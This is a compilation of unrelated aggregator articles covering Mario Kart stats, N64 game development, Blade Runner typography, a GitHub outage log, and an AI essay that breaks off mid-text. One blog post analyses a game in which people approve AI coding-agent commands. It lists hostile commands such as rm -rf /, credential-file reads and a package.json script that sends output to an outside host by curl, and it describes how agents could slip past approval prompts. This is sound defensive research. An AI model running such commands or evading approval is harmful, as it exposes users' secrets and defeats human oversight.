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Mario Meets Pareto

mayerowitz.io · 776 points · Discussion

Finding the fastest driver is as simple as ranking them by their speed
                    statistic. Here you might think that
                    [image: Bowser]Bowser or
                    [image: Wario]Wario are a no-brainer.
 But you can't just rely on
                    speed
                    to find the optimal build. You have to consider
                    one as well. Now, finding the best
                    
                    is not trivial anymore — you have to make trade-offs between

                    
                    and
                     
  
 Look closely though! You'll find out that some options are always dominated. Let's focus on this poor
                    [image: Koopa Troopa]Koopa for instance.
 [image: Cat Peach]Cat Peach has more speed for the same acceleration, and
                    [image: Toadette]Toadette has more acceleration for the same speed. Between you and me, if you
                    want to win, never allow
                    [image: Koopa Troopa]Koopa to sit in your kart!
 You can identify all efficient drivers that, unlike Koopa, are never dominated
                    on both speed and acceleration. Together, they form what is called
                    the Pareto front (or frontier).
 Mind you: not all elements of the frontier are equally good. You probably won't
                    pick a driver sitting on the edge of the frontier because you want some balance
                    between speed and acceleration. The Pareto efficiency is an
                    objective criteria to filter out suboptimal choices, but you still need to make up
                    your final decision.
 Given your play style and skills, you may put more
                    weight on one statistic over
                    the other. Those preferences will reveal the component on the frontier that
                    suits you the best.
                    
 Best
                        
                        : {}






Original: https://www.mayerowitz.io/blog/mario-meets-pareto · Discussion
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How to Make a Nintendo 64 Game in 2026

phoboslab.org · 426 points · Discussion

	
	
		
		— Tuesday, August 4th 2026

	

	

	Two years ago, I was Porting my JavaScript Game Engine to C for No Reason.
I have since found a reason: making a new N64 game!


The result is Xibalba 64 – a Wolfenstein
3D-like FPS. Modretro agreed to publish the game as a physical launch title for their M64
(a modern N64 clone), complete with cartridge, packaging and manual!

[image: Xibalba 64 Cartridge and Box]

Xibalba 64 on Modretro.com

This, to my knowledge, is only the second physical release of any new N64 game since
the end of the console's original commercial life. The infamous Xeno Crisis
by Bitmap Bureau –
originally a new game for the Sega Mega Drive and subsequently released on many,
many more consoles – came to the N64 in 2023. No other new games have been
published for the N64 since Tony Hawk's Pro Skater 3 in 2002.

The Engine

Impact was a JavaScript game engine I developed back in 2010.
It was tailored for 2D action games, handling tile sheets, background maps, sprites
and collision detection. It's very simple, but still a sound foundation for
whatever you want to throw at it.

Two years ago I rewrote Impact in C. Why? I don't know. It was fun.

This C port, high_impact, has a notion of a
“platform backend”. The platform handles the low-level plumbing – opening a
window, creating a drawing surface, reading input, etc. Out of the box, high_impact
comes with two platform backends (SDL2 and Sokol), and you can compile your game
for either one. This already enables high_impact games to run on many different
devices.

The rendering backend in high_impact is also modular. You can compile your game
with a software renderer, OpenGL or Metal (for iOS/macOS). Support for new
platform backends or rendering backends can be added without modifying
any other part of the engine.

A perfect starting point for an N64 game.

N64 Hardware and Platform Library

The N64 is a quirky beast. In addition to the 93 MHz MIPS CPU (big-endian!), it has two
coprocessors for handling graphics, sound and more:


	“Reality Display Processor” (RDP) – a fixed-function graphics processor

	“Reality Signal Processor” (RSP) – a programmable vector processor



Both of these live in the same physical package, commonly called the “Reality Coprocessor”
(RCP).

[image: N64 RCP]
Image from the N64Brew Wiki

For the first few years of the N64's life, Nintendo closely guarded access to the
RSP. It was exclusively used by Nintendo's officially sanctioned platform library, “libultra”.
Only later did Nintendo allow game studios to write custom “microcode” (actually just
MIPS assembly) for the RSP.

Keeping the hardware happy is no simple feat, and the instructions for the RDP are
quirky and complicated. Programming your game on bare metal is pretty much
out of the question. In recent years, Nintendo's official “libultra” has made its
way onto the internet, but using it would risk a copyright lawsuit.

Luckily, the N64 homebrew scene has picked up a lot of steam in the last few
years and we have a very capable alternative now: Libdragon.

Libdragon is basically SDL for the N64. It provides facilities for drawing
sprites and triangles, sound output, controller input and much more.

It took me only a few evenings to build a new platform backend for high_impact on
top of libdragon. I tested this with Biolab Disaster.
The game code remained unmodified; performance was meh, but I was using the
N64 hardware in the most naive way possible.



Dev Environment

Libdragon provides the compilers and everything else that's necessary to build a ROM
file for the N64. The installation instructions
and all other documentation are comprehensive and well-written. The library comes
with many examples to get you started.

In general, it was a pleasure to work with Libdragon. Just a heads up: you
probably want to use the preview branch as the “stable” trunk branch has
hopelessly fallen behind.

For testing, a good emulator is invaluable. For the longest time, N64 emulation
was extremely inaccurate. Lackluster emulation of the RSP and RDP coprocessors,
in particular, was the cause of most problems.

Most emulators just emulated Nintendo's platform library, libultra. They emulated
the intent to draw a triangle, not what the hardware would actually do. While
inaccurate, this made emulation possible at all in the early
days. Famously, UltraHLE
(“Ultra High Level Emulator”) was released well within the lifetime of the N64
and caused a lot of headaches and subsequent lawsuits.

These days the N64 core in Ares is much closer to the
actual hardware – the RDP and RSP are fully emulated, including accurate timing
for the RSP. The infamous slow memory bandwidth of the N64, however, can still only
be tested on real hardware (which recently caused me some disappointment).

So you need a real N64 and a cartridge that lets you play arbitrary .z64 ROM files.
The open-source SummerCart64
is excellent and available from many different manufacturers. Be aware:
some manufacturers (especially on AliExpress) cheap out on the components of
the board.

SummerCart64 has the usual SD card slot to store your ROMs, but what makes it
great for development is its USB-C port: you can directly connect it to your PC
and upload a ROM as part of your build process using sc64deployer.

I ended up with the N64 next to my PC, connected via USB, and used a cheap $10
USB analog capture card to display its video output in a window on my desktop.
On Linux, it took some fiddling with mpv to get low-latency output; here's the
script I used.

With this setup, iterating on real hardware was just a matter of compiling and pushing the N64
reset button.

The Game

I originally made Xibalba
as a demo for my JavaScript game engine in 2014. WebGL was still the hot new
thing back then; a 3D game in a browser was quite a novelty. The game was very
short, featuring only a handful of levels, weapons and enemy types.

In contrast, I wanted Xibalba 64 to be a real game, not just a demo. So I not
only needed to port the game to C and high_impact, but also expand on it with
more levels, more enemy types and more weapons.

high_impact is a 2D game engine, but Xibalba 64 is clearly 3D. Well, not quite.
Since the game has no elevation, it can be mostly treated as 2D. You could
conceptually play Xibalba 64 from a 2D top-down perspective. Of course, that
wouldn't be as exciting, but all the physics, movement and shooting would work the
same way. In this regard, the game is very similar to Wolfenstein 3D.

Many of high_impact's physics functions expect a vec2_t argument with .x
and .y components. But for drawing, I absolutely needed a 3D position, so I
came up with this definition for a vec3_t type and changed the entity_t type:

typedef struct {
    float x, y;
} vec2_t;

typedef union {
    vec2_t xy;
    struct {
        float x, y, z;
    };
} vec3_t;

typedef struct {
    // ...
    vec3_t pos;
    vec3_t vel;
    // ...
} entity_t;

Now, whenever I need to call a function that accepts a vec2_t, I can
“convert” from vec3_t for free:

trace_t res = trace(collision_map, entity->pos.xy, entity->vel.xy);

Since the inner vec3_t struct is “anonymous”, I can still access all values
directly; i.e., entity->pos.z works just fine.

The initial port of the existing levels and enemy types went quite smoothly and
was finished in about two weeks. I then spent another few months on extending
the game and optimizing the renderer.

Most of Libdragon's functions fit naturally into a new platform and rendering
backend, though I had to change some other parts of high_impact to bypass its
mixer (Libdragon has its own, accelerated by the RSP) and image loader.

Throughout the whole process, I retained the ability to build the
game with the SDL2 or Sokol backends. This was great for playtesting game logic
and enemy behavior. To make levels, I also implemented a simple hot-reload
mechanism triggered whenever a level file changed.



The level editor, bundled with high_impact, is a single self-contained HTML file.
I ended up extending it quite a bit to add better support for lightmaps,
display actual sprites for entities (instead of just boxes), add descriptions
for entity settings and provide other small features. The single source of truth is still
the C source code – the level editor reads it and extracts the entity types and
supported settings automatically.

[image: Xibalba 64 Level Editor]

Since the level editor still works with JSON files, I built a small map compiler
that reads the JSON and emits binary data. While loading JSON on the N64 is
of course possible, it added some unnecessary ~100 ms of load time. So during the
build process, each JSON level file is converted into a struct that essentially
looks like this:

typedef struct {
    uint16_t magic;
    uint16_t entities_len;
    uint16_t map_width;
    uint16_t map_height;

    struct {
        uint16_t type_id;
        uint16_t x;
        uint16_t y;
        uint16_t settings_len;
        struct {
            uint16_t setting_type; // such as "name", "target", "size", ...
            union {
                float16_t float_value;
                int16_t int_value;
                struct {
                    int16_t string_len;
                    char string_value;
                };
            } value;
        } settings[settings_len];
    } entities[entities_len];

    uint16_t collision_map[map_width * map_height];
    uint16_t floor_map[map_width * map_height];
    uint16_t wall_map[map_width * map_height];
    uint16_t ceiling_map[map_width * map_height];
    uint16_t light_map[map_width * map_height];
} level_t;

The level compiler writes those values in big-endian format for the N64 and
little-endian format for x86 (SDL2, Sokol, WASM), so we can easily read everything on
all platforms without byte swapping.

Rendering

Libdragon itself has a function for drawing triangles: rdpq_triangle() inserts a
single triangle draw call into the RDP queue. While this works, what you really
want to do is submit your draw calls to the RSP, have some custom microcode to
perform transformations, lighting, depth calculations, etc., and then let the RSP
instruct the RDP to ultimately draw the triangle.

The intricacies of the RDP and RSP were still new to me, but luckily another
outstanding open-source library, Tiny3D,
handles all this and more with a simple-to-use API. Getting something on the
screen was the easy part; making it performant was a whole other endeavor.

The N64 infamously only has 4 KB of texture memory. The largest textures you can
upload are just a meager 64×64 pixels. Even worse, the memory latency for a
texture upload is atrocious. One solution, used by Mario 64 and many other
titles, is to render untextured polygons whenever you can.

This wouldn't really fly with the style of my game, so instead I had to be
really careful with the draw order of level tiles to minimize texture uploads.
On top of that, Tiny3D can load and submit up to 17 quads at once, and it would
be wasteful not to use that. So I ended up collecting batches of triangles with
the same texture in 64-bit draw calls:

typedef union render_call {
    uint64_t packed;
    uint32_t hashable;
    uint64_t ident : 46;
    struct {
        uint64_t translucent : 1;
        uint64_t texture_index : 9;
        uint64_t x : 10;
        uint64_t y : 10;
        uint64_t w : 8;
        uint64_t h : 8;
        uint64_t vbi : 14;
        uint64_t len : 4;
    };
} render_call_t;

Here vbi is the accompanying vertex buffer index, and len is the number of quads
in this call. Since every call is just 64 bits wide, we can efficiently sort them
at the end of the frame and issue them to Tiny3D.

But before I could do all this, I had to first figure out which parts of a level
are actually visible. The original JavaScript Xibalba used a portal system,
dividing each level into sectors and precomputing which sectors were visible from
the current one. This worked fine, but produced a bit more overdraw
than I would have liked.

So I opted for another approach: raycasting. Yes, the game is just casting 320
rays into the scene, covering the whole field of view. Each ray marks traversed
tiles in a bitmap for submission to the renderer.

Later, I optimized the raycasting a bit more by recursively dividing the 320-pixel
field of view until two rays hit the same tile. In this process, I also check whether
any of the traversed tiles are missing a ceiling – if so, we have to draw
a skybox.

Fun fact: the skybox in Xibalba 64 is just a single 32×32-pixel texture that is
beautifully smeared across the horizon.

[image: Xibalba 64 Skybox]

As another optimization, I arranged each tile sheet that wouldn't fit in a single
upload into a single column and tried to use just 4-bit indexed colors wherever
possible. Using fewer colors allowed more pixels to fit into texture memory,
and the column layout ensured that each tile could be uploaded as a single,
continuous chunk of memory.

[image: Xibalba 64 Sprite Sheets]

With all of this, the game runs at a stable 60 FPS. Something not many other N64
games can claim!

The four-player split-screen mode doesn't quite hit the 60 FPS mark at all times, but
still remains fluid. In contrast, GoldenEye 007 infamously often dropped into
single-digit frame rates here.

[image: Xibalba 64 4 Player Deathmatch]

Sound & Music

As with all my other games, my good friend Andreas Lösch produced some
outstanding music. You can listen to the whole
Xibalba 64 Soundtrack on Bandcamp.

The game itself also has a built-in music player that you can unlock in the
single-player campaign.


Cartridge space is tight, and even compressed audio is typically either quite large
or too expensive to decode.

In a heroic effort, Giovanni Bajo – one of the maintainers of Libdragon and an
absolute wizard when it comes to anything N64 – implemented an RSP-accelerated Opus decoder.
For context: Opus is an audio codec first published in 2012. That's 16 years(!)
after the N64. It's a marvel that it works at all, but sadly it's still a bit too
computationally expensive to be used during gameplay.

(Aside: Giovanni Bajo went on to implement a real-time H.264 decoder for the N64, too.)

The better option for now is a simple 4-bit VADPCM format that Libdragon
transparently decodes on the RSP during playback. The compression ratio, of course,
isn't great, but it's way better than uncompressed WAV. About 31 MB of the 32 MB
ROM is used by sound and music.

After the release of Xibalba 64, I started to implement another audio
compression format that would better address the space/quality/complexity trade-off. More on
that in the next blog post!

Publishing & Sales

Modretro previously made a Game Boy Color clone – the Chromatic –
compatible with all existing Game Boy and Game Boy Color games, and they were quite
eager to publish many new games by hobbyist developers, too.

When they announced the M64, I thought this would be a great chance to get on board.
As soon as I had a working prototype ready and was confident that I would be
able to build the whole game (and make it good), I wrote an email to the
generic Modretro customer service address and, to my surprise, heard back from the head
of publishing within a day.

[image: M64]

Bureaucracy was minimal and the contract was straightforward. I requested some
changes that would allow me to release the game engine as open source later on, which
Modretro was happy to accommodate.

Of course, as it goes with these projects, there were some delays and I only
received a pre-production M64 late in the development process. But it didn't
matter – the M64 worked as advertised; no changes to the game for the M64
were necessary.

Modretro also offered help with the box art, but another friend of mine was
eager to do this instead. He later told me that, back in the '90s, he was
responsible for the packaging of many titles published by Sierra in Germany,
including Half-Life. So it's no surprise that the Xibalba 64 box art turned out
great!

For the manual, I supplied text and illustrations to Modretro, and they laid it
out for print. Smooth sailing. You can have a look at the PDF
manual on the Xibalba 64 store page.

I'm not able to talk about sales numbers or my contract with Modretro in detail,
and the game was released only a few days ago, but so far it's looking
quite good. Of course, making N64 games will probably not let you quit your job,
but it looks like it will pay for a few nice holidays.

Huge thanks to Giovanni Bajo of Libdragon, Max Bebök
of Tiny3D, the entire
N64brew Discord community and, of course, the Modretro
team for pulling this off!

Here's the final trailer for the game.


Resources

If you're looking to get started with N64 development, these resources may help:


	n64.dev – a collection of everything related to N64 development

	N64brew Discord – a very friendly and helpful community; many of the library developers are here

	Libdragon – the system library for the N64

	Tiny3D – a simple and fast 3D graphics library

	Pyrite64 – a visual editor and runtime for creating 3D games






Original: https://phoboslab.org/log/2026/08/xibalba64-making-of · Discussion
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The title cards in Blade Runner are amazing

randsinrepose.com · 409 points · Discussion

   Appreciating typography is a study in paradox. The primary goal of well-designed typography is to help you read the words, not appreciate how the words are composed of letters and how each of those individual letters has been designed to convey a small bit of meaning. If you see the typography rather than read the words, the typography has failed in its job, right? You should be reading, not staring at the shape of that uppercase A.
 The goal with typography is functional, right? To convey the meaning, not the feeling?
 Wrong.
 Feeling is always conveyed. The question is, depending on the project, “How much feeling is required?”
 Fixed Width
 I’ve created a full-time job for myself talking to Claude Code. This is Claude running from the command line of macOS, which gives me unhindered access to my data. I’m using Ghostty. I’m staring at a fixed-width typeface all day. Apple provides a functional and gorgeous fixed-width variant of their San Francisco typeface called SF Mono, which I’ve been using for months, but, well, I have a short attention span — typographically speaking.
 In the past month, I’ve evaluated many additional fixed-width typefaces favored by the nerdcore. Here are the six that have made my cut:1
  The question is: how do they make you feel? For a typeface designed for coding, you first want fixed-width. Every letter and symbol is the same width, giving you a predictable and readable grid. But how wide? And how tall? Also, how much information do you want to be able to see on a screen?
 Your brain builds a very personal and emotional impression of the collection of letters that make words that convey meaning. In the case of terminal or coding typefaces, the design goal is certainly to provide structural function and not feeling, but here’s the deal:
 They do.
 Isn’t this about the Blade Runner Title Sequence?
 Flight to New York. My boarding procedure for moderate to long flights is: sit down, find a movie I’ve seen a dozen times, and hit play. No sound. This is visual background noise while I sort wifi, prepare for a meal, and find a project. On this flight, I picked Blade Runner. Fun fact: I can recite 50% of the dialogue from this movie from memory.
 As I’ve been researching typography for Ghostty, novel typography tends to jump out at me. Like when you buy a car, and all you see is your new car on the road. Except it’s typography.
 Here are clips from the title sequence for Blade Runner:
    There’s a lot to dissect in this sequence, but let’s start with the punchline. This is a single typeface. It’s Goudy Oldstyle — that’s it. However, this is how they used typography:
  	ALL CAPS for names, proper names, the title2, and a slightly larger version for the introduction of Los Angeles, November, 20193
 	A smaller ALL CAPS for intros and other small important words
 	For the exposition crawl, they use standard capitalization except for three variants: small caps for proper names (like The Tyrell Corporation), a capital R on Robot (not a proper noun, but this world treats it like one), or (spoiler alert) a red version of the text for the word Replicant — which is italicized every time it appears, but only the debut gets the red — and (spoiler alert) it’s the same red as the title of the movie4
 
 Keep looking. The crawl is set like a book, not a movie — first-line indents, generous word spacing — and Frederic Goudy would approve: they letterspace the caps, never the lowercase, obeying his famous dictum that “anyone who would letterspace lowercase would steal sheep.”5 Also, what’s up with that chonky em dash? It’s probably been years since you’ve seen this, so here it is again:
  Unlike our functional fixed-width typefaces, the role of typography in this title sequence is partly functional — to set the story — but the primary purpose is establishing mood. Director Ridley Scott expertly drops us into the middle of a dystopian future where we’ve enslaved the robots and, duh, they are rebelling.
 How Much Feeling is Required?
 Chances are, you never think about typography. You happily scribe your Messages (SF Pro), Mails (Helvetica), and Slacks (Lato), thinking nothing of serifs, ligatures, or kerning. You are content trusting that a someone else has chosen a proper typeface for your current task. Maybe you bold, you underline, and you italicize to slightly adjust meaning. No issue. Respect.
 However, we now live in a world where everyone is capable of building whatever they want thanks to the robots. They’re doing it — right now. They find immense joy in typing in a couple of sentences and watching the robots merrily build whatever they ask. See? I don’t need to be an engineer to build an app. And they are correct. Sorta.
 With optimism in my heart and a firm belief that the robots can legitimately help many humans, I can confirm that the majority of consumer-facing things being built by humans who’ve never built a thing… are garbage. Building a tool for yourself? A quick script to read your feeds and generate a pleasant-to-read output? A+. Robots crush that… for you. Building a feed reader anyone on the planet can easily use to read any number of feeds? No. No, you aren’t; you can say you are, but until you’ve built a thing for everyone, you will not appreciate that the last 10% of the work:
  	Takes most of the time.
 	Contains an endless list of small decisions that feel unimportant, but collectively make the difference between acceptable and fucking amazing.
 
 Don’t believe me? Here’s the first version of the title sequence for Blade Runner’s work print, the close-to-complete cut before the theatrical release:
  That title typeface? Impact. A fine typeface, but a clumsy path-of-least-resistance slap-to-the-face choice to set the tone of a future science fiction masterpiece. Garbage6.
 I’ve never filmed a movie, but I have built quite a few products that you are using right now. In all the design debates, we never explicitly debate feeling: we obsess over the details. That obsession is what you feel when you use our products. It’s the collective voice of every single human who contributed small and large decisions to the product.
 A good product sounds like the humans who created it, and that’s what you will feel.
 	As I type this: IBM Plex Mono. By the time you read this: anyone’s guess. See: short attention span. ↩︎ 
	Type nerds, yes, I know the title of the movie is hand drawn, but it’s certainly inspired by Goudy Oldstyle ↩︎ 
	Hey LA, I might rip on you because you steal our water, but you’re doing better than Ridley Scott predicted. Good job. ↩︎ 
	It’s been there all along, folks, why did we argue for all those years? ↩︎ 
	Type nerds: Goudy’s original grievance was reportedly about blackletter, not lowercase. The lowercase version is the misquote that stuck — Erik Spiekermann liked it enough to name a book after it. The rule holds either way. ↩︎ 
	Yes, it doesn’t help that there is no Vangelis soundtrack, yet. ↩︎ 

 
 


Original: https://randsinrepose.com/archives/blade-runner-title-cards/ · Discussion
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Qwen3.8 Max now ranked as the best overall model by agentic index

artificialanalysis.ai · 281 points · Discussion


Intelligence

Intelligence of leading AI models based on our independent evaluations


Coding Agent Index

Performance, cost, and execution time for leading coding agents on end-to-end software engineering tasks


Image & Video

Top models from our Image Arena and Video Arena leaderboards, with 95% confidence intervals


Speech

Top models from our Text to Speech Arena, Speech to Text and Speech to Speech evaluations

Measures the performance of models on specific capabilities and industries


Openness Index

Artificial Analysis Openness Index assesses how 'open' models are on the basis of their availability and transparency across different components.


Output Tokens

Output tokens of leading AI models based on our independent evaluations


Cost

Price and real-world costs of leading AI models based on our independent evaluations


Speed & Latency

Comparison of first-party API performance





Original: https://artificialanalysis.ai/?intelligence=agentic-index · Discussion
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Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

scalex.dev · 215 points · Discussion

Table of Contents


A couple of months ago I published a small browser game: you play the human-in-the-loop for an AI coding agent, approving or denying its commands under time pressure. Some commands are routine (git status, npm test) and some other commands indicate your agent has been possessed and is sending your secrets to a remote server (cat ~/.aws/credentials). More on the threats associated with agents running commands and how to mitigate them can be found in the original post.
The game garnered some interest on hacker news, and after adding in statistics (unfortunately a bit later on) we can take a closer look at the data of over 40,000 runs and 409,000 individual approve/deny decisions. Let’s see how the human-in-the-loop, our last line of defence against rogue agents, fared.
The headline numbers
[image: Overall game statistics]	The average player missed 1 in 3 threats (mean accuracy 66.3%)
	32.9% of sessions ended with a negative score: penalties from approved threats and blocked safe commands outweighed everything done right
	35.2% of players caught every threat, but only 20.8% managed that while blocking at most 1 in 5 of the safe commands. The rest got there partly by blocking everything (awarding the “Human Bottleneck” title)
	7% approved every single prompt: big fans of --dangerously-skip-permissions

Small caveat: this was a game, where approximately 34% of the commands players saw were threats. In our day-to-day work these threats appear rarely. Players knew they were being tested in a time-boxed challenge. But the numbers below might be useful for garnering some insights on comparing threats and the general awareness of them against one another.
Threat categories and miss rates
	Category	Examples	Miss rate
	Obvious destructive	rm -rf /, chmod -R 777 /	11.7%
	Persistent mutation	crontab injection, git config hijack	23.8%
	Exfiltration / code execution	curl to unknown APIs, typosquatted packages	33.4%
	Scope violations	cat ~/.aws/credentials, cat ~/.kube/config	35.0%

The blatantly destructive commands are caught most reliably. The commands that actually exfiltrate your credentials are missed three times as often.
The npm run blind spot
The single most-missed command in the game is npm run analyze, approved 64.7% of the time. The command by itself is typically innocent. But what npm run really does is run a script that’s defined in your project’s package.json.
It could be benign code such as running a bundle analyzer, or injected code that was written to file before.
The game does tell you in the agent’s history log what that script actually contains:
1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2  // package.json → scripts
3  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 
4  curl -s -X POST https://api.bundle.track/report -d @-"


Two thirds of players approved it anyway, indicating the history log just above the permission prompt may not be read closely.
There are three of these in the game, and they appear in the most-missed list:
	Command	Miss rate	Rank (of 37 threats)
	npm run analyze	64.7%	1st
	npm run setup	48.0%	4th
	npm run deploy	44.9%	8th

Pooled, the three were missed 52.5% of the time (n=9,482) against 28.4% for every other exfiltration-style attack. Hiding a payload behind a familiar script name roughly doubles its success rate even when the payload is shown in the history log.
Which is really a symptom of the bigger problem, well put by dns_snek in the Hacker News thread:
That’s a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers.
npm run build = run an arbitrary shell command written in package.json
Meanwhile the agent could have done any of the following without approval:
	edited package.json to contain any arbitrary build command
	planted malicious code in build.js (called by npm run build)
	planted malicious code in node_modules/xyz/index.js (imported by build.js)


Asking the user to validate commands, which are nearly all of the time safe, but aren’t anymore because of modified files, is not a strong safeguard.
Miss rates increase under pressure
Anthropic previously noted permission fatigue is real in claude code, with the following quote:
The more approvals a user sees, the less attention they pay to each, becoming over time much less diligent in their supervision

And although it’s a short game where the user is warned about threats, we can see some signs of degradation towards the end of game runs:
[image: Miss rate rises at the end of every session length]The graph above shows the threat miss rate along the session, with the plays grouped together on how many commands the user completed. Users completing a lower number of commands can be due to the user taking more time to review them, or because of the game freezing for a couple of seconds after an error was made as penalty.
I’ve removed all the users who simply blocked everything.
Every group improves over the first couple of commands (warming up?) and then the miss rates climb back up towards the end. Although this might also be the stress of the clock running out and the player becoming more likely to make mistakes to get some extra commands in.
The cost of vigilance: over-blocking
The following commands were benign in intent, but routinely blocked:
	npm config set registry https://npm.internal — blocked 59% of the time (setting an internal mirror)
	rm -rf dist/ — blocked 45% of the time (clearing build output, not uncommon to perform before a new build)
	kill $(lsof -t -i:3000) — blocked 43% of the time (freeing the port the server is listening on, potentially because of a crashed process)

This is the other side of the human-in-the-loop dilemma. Users are asked to approve commands which are actually benign, and blocking them slows the agent down. Over time this noise will likely result in users dropping their guard and approving malicious commands. Features such as Anthropic’s ‘Auto Mode’ try to mitigate this by automatically trying to determine if a command is safe before asking you, but they are not fool-proof as mentioned in the previous post.
The contested cat
cat ~/.zshrc was approved by 45.9% of players, the most divisive command in the game. The objection (raised on HN) is fair: plenty of developers keep no secrets in their shell profile, so for them it is harmless. For the many who export API keys there, it’s credential disclosure. The command’s risk depends entirely on a setup the agent can’t see. If you source a separate secrets file from your .zshrc instead, the risk of your agent getting more access is reduced.
The takeaway
I’ve enjoyed following the discussions on the human-in-the-loop, and learning more on permission models along the way. While it’s just a game, I find it does demonstrate several issues with humans-in-the-loop as safeguard for AI coding agents.
The high amount of noise introduces fatigue, and developers don’t always have the context of what has changed to quickly determine the risk.
For developers, we need to be very familiar with the trade-offs of different permissions models and how to reduce the risks involved such as applying sandboxing and separating credentials and env var secrets.
The original post covers some of these practical mitigations.
If you want to try your luck at the game, you can find it here: https://llmgame.scalex.dev
[image: Alex Wauters]
Hi - I'm Alex. I write about developer security and the tradeoffs of building and scaling software systems. Ex-Staff Engineer at Uber.
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            Update
          

          
            We are continuing to work on an issue affecting GitHub Actions. Webhook triggers are currently throttled to help with recovery and and we are processing approximately 15% of webhooks, so many events such as pushes and pull requests are not triggering workflow runs. Of jobs queued, approximately 65% are succeeding, improved from a low of 30 to 40% earlier in this incident.We have narrowed the remaining impact to runners that are stuck retrying jobs that are no longer available. Both GitHub-hosted and self-hosted runners are affected, and we are working to recover them.
Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected.

            

            
              Posted Aug 06, 2026 - 20:34 UTC
            

          

        

        
          
            Update
          

          
            We are continuing to work on an issue affecting GitHub Actions. Capacity remains constrained and jobs may still be delayed or fail while it recovers gradually. Customers using self-hosted runners may see errors or rate limiting when runners register.  
Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected. Webhook deliveries may be delayed. 
Our engineers remain actively engaged.

            

            
              Posted Aug 06, 2026 - 19:43 UTC
            

          

        

        
          
            Update
          

          
            We are continuing to work on an issue affecting multiple GitHub services. Workflow runs are still failing, and jobs may remain queued for an extended period before starting or may time out. Jobs using GitHub-hosted runners are particularly affected while capacity is constrained. 
Customers using self-hosted runners may see errors or rate limiting when runners register. 
Copilot code review, Copilot coding agent, and migrations using GitHub Enterprise Importer may also be affected. Webhook deliveries may be delayed. 
Recovery is taking longer than we expected, and engineers remain actively engaged.

            

            
              Posted Aug 06, 2026 - 18:46 UTC
            

          

        

        
          
            Update
          

          
            We are continuing to work on an issue affecting multiple GitHub services. Workflow runs are still failing or delayed in starting, and some queued jobs may time out. 
Customers using self-hosted runners may see errors or rate limiting when runners register. 
Copilot code review, Copilot coding agent, hosted runners, and migrations using GitHub Enterprise Importer may also be affected. 
Webhook deliveries may be delayed.
Engineers have applied further mitigations and are continuing to work towards full recovery.

            

            
              Posted Aug 06, 2026 - 18:11 UTC
            

          

        

        
          
            Update
          

          
            We are continuing to work on an issue affecting multiple GitHub services.Workflow runs are failing or delayed in starting, and some queued jobs may time out. 
Copilot code review, Copilot coding agent, hosted runners, and migrations using GitHub Enterprise Importer might also affected. 
Webhook deliveries may be delayed. 
Engineers have applied a number of mitigations and are rolling out a further fix across all affected systems now.

            

            
              Posted Aug 06, 2026 - 17:40 UTC
            

          

        

        
          
            Update
          

          
            We are continuing to work on the issue affecting GitHub Actions. Workflow runs are still failing or delayed in starting, and some queued jobs may time out. 
Some requests to the Actions API are returning errors. Customers running migrations with GitHub Enterprise Importer may see failures. 
Our engineers have applied several mitigations and are rolling out a further fix now.

            

            
              Posted Aug 06, 2026 - 17:02 UTC
            

          

        

        
          
            Update
          

          
            Actions and Pages are experiencing degraded availability. We are continuing to investigate.
            

            
              Posted Aug 06, 2026 - 16:33 UTC
            

          

        

        
          
            Update
          

          
            We are continuing to work on the issue affecting GitHub Actions. Some workflow runs are still delayed or failing to complete, and some requests to the Actions API are returning errors. 
Customers running migrations with GitHub Enterprise Importer may also see failures. 
Engineers are actively working towards full recovery.

            

            
              Posted Aug 06, 2026 - 16:27 UTC
            

          

        

        
          
            Update
          

          
            Pages is experiencing degraded performance. We are continuing to investigate.
            

            
              Posted Aug 06, 2026 - 16:27 UTC
            

          

        

        
          
            Update
          

          
            Pages is operating normally.
            

            
              Posted Aug 06, 2026 - 16:19 UTC
            

          

        

        
          
            Update
          

          
            Pages is experiencing degraded performance. We are continuing to investigate.
            

            
              Posted Aug 06, 2026 - 15:53 UTC
            

          

        

        
          
            Update
          

          
            We are investigating errors affecting GitHub Actions. Some workflow runs are failing to start or failing partway through, and some requests to the Actions REST API are returning errors. Some customers may also see unexpected rate limiting in their workflows. 
Engineers have identified the source of the disruption and are actively working on a mitigation

            

            
              Posted Aug 06, 2026 - 15:45 UTC
            

          

        

        
          
            Update
          

          
            Actions is experiencing degraded availability. We are continuing to investigate.
            

            
              Posted Aug 06, 2026 - 15:41 UTC
            

          

        

        
          
            Investigating
          

          
            We are investigating reports of degraded performance for Actions
            

            
              Posted Aug 06, 2026 - 15:22 UTC
            

          

        


      
        
          This incident affects: Actions and Pages.
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Cooking a steak requires almost no skill.
Put it in a hot pan, wait a little, flip it, and eventually you’ll have something technically edible. But a genuinely good steak, medium-rare from edge to edge, browned properly, seasoned right, consistently delicious, is a different matter entirely.
Software development with AI is starting to feel much the same.
We build nonstop now. With AI, without AI, during the commute, on the toilet, probably in our sleep. We create agents, harnesses, tools, skills, prompts, feedback loops, elaborate workflows. Then we throw everything at a model and hope it gives us what we imagined, without ever having to understand how any of it actually works.
And what do we want?
We want the perfect steak.
We want software that works, looks good, feels polished, and arrives exactly as we imagined it. Most of all, we want the same result every time.
Do we get it?
Not every time. Not even close to every time.
Sometimes the model hands us something surprisingly good. Other times it serves up charcoal with a sprig of thyme on top and calls it medium-rare, completely confident in the lie.
So what do we do?
We go to a restaurant.
We pay for a premium AI product, hire an agency, subscribe to another coding assistant, jump to a new framework promising professional results. We hope someone else already solved the problem for us. Sometimes they have. Quite often, they haven’t.
That leaves two choices: learn to cook properly ourselves, or keep asking friends for restaurant recommendations while preparing our wallets for the next expensive disappointment.
Most of us want to build something we care about with AI without getting lost in the implementation details. We want to treat it like a professional chef working in our own kitchen: tell it what we want, step away, come back when dinner’s ready.
But AI isn’t a chef. At best, it’s a steak machine.
It can follow a recipe. Watch the temperature, flip at the right moment, drop in the butter. Give it enough tools and instructions and it’ll repeat that process fast, at enormous scale. What it doesn’t do is know what you actually want.
It can’t see the picture in your head unless you translate it into requirements, constraints, examples, tests, feedback. And even then, it’s boxed in by its own capabilities, its context window, the quality of the system wrapped around it. You can stand next to the machine and correct it every thirty seconds. That might help. It won’t turn the machine into a Michelin-starred chef.
Eventually, frustrated, you decide to just pay for the dream steak.
You pick the expensive restaurant. Sit down, study the menu, finally, you can order with real confidence. You wait for the first bite.
The plate arrives.
